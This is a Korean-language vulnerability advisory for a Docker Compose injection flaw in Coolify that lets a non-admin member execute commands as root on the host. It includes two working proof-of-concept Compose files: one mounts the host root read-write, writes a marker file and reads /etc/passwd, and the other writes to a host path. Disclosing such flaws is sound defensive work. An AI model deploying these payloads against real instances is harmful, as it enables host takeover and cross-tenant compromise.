CVE-2025-34159: Coolify의 Docker Compose 주입 취약점

취약점 개요

요약

Coolify의 애플리케이션 배포 워크플로우에 치명적인 원격 코드 실행(RCE) 취약점이 존재합니다. 이 결함으로 인해 낮은 권한의 멤버가 프로젝트 생성 또는 업데이트 중에 임의의 Docker Compose 지시문을 주입할 수 있습니다. 호스트 파일시스템을 마운트하는 악성 서비스를 정의함으로써, 공격자는 컨테이너 격리를 완전히 우회하여 호스트 OS에서 루트 권한 명령 실행을 달성할 수 있습니다.

보안 영향

• 호스트 시스템에서 루트 권한으로 임의 명령 실행
• 시스템 파일 읽기/쓰기, 지속성 유지, 수평 이동 수행 능력을 포함한 전체 호스트 장악
• 동일 인스턴스의 다른 사용자와 팀을 손상시킬 수 있는 멀티테넌트 보안 침해
• UI 터미널 접근 제한(403 제어)을 무의미하게 만드는 보안 제어 우회

기술적 세부 사항

영향 받는 버전

• 취약한 버전: Coolify ≤ v4.0.0-beta.420.6
• 패치된 버전: v4.0.0-beta.420.7

공격 벡터

이 취약점은 사용자가 제공한 Docker Compose 구성이 충분한 검증이나 샌드박싱 없이 처리되는 프로젝트 배포 워크플로우에 존재합니다.

개념 증명(PoC)

PoC 1: 호스트 루트 마운트 및 명령 실행

version: '3.8'
services:
  poc-host-root:
    image: alpine:3.19
    tty: true
    volumes:
      - /:/host:rw
    command: >
      sh -c "
        echo '[*] Proof of RCE on host' &&
        echo 'RCE by Eyodav' > /host/tmp/proof_rce.txt &&
        whoami &&
        id &&
        uname -a &&
        head -n 5 /host/etc/passwd
      "

결과: 배포 후 /tmp/proof_rce.txt가 호스트 시스템에 나타나며, 루트 권한으로 RCE가 발생했음을 확인합니다.

PoC 2: 특정 호스트 경로 쓰기

version: '3.8'
services:
  poc-host-write:
    image: alpine:3.19
    tty: true
    volumes:
      - /home/eyodav/PoC:/host
    command: >
      sh -c "
        set -e;
        mkdir -p /host &&
        echo '[*] Writing PoC file to host mount...' &&
        echo RCE_PoC_from_container_$(date) > /host/RCE_PoC.txt &&
        cd /host &&
        pwd &&
        ls -la
      "

재현 절차

1. 멤버 수준 사용자(비관리자)로 인증합니다
2. Coolify에서 프로젝트를 생성하거나 편집합니다
3. 위의 Docker Compose 페이로드 중 하나를 사용하여 악성 구성을 입력합니다
4. 프로젝트를 배포합니다
5. 호스트 측 아티팩트(예: /tmp/proof_rce.txt)를 확인하거나 배포 로그의 명령 출력을 검토하여 악용 여부를 확인합니다

즉시 조치

1. 즉시 Coolify v4.0.0-beta.420.7 이상으로 업그레이드합니다
2. 잠재적으로 악성인 Docker Compose 구성이 있는지 기존 프로젝트를 검토합니다

참고 자료

• 패치/릴리스 노트: https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.420.7
• 보안 권고/PoC 저장소: https://github.com/Eyodav/CVE-2025-34159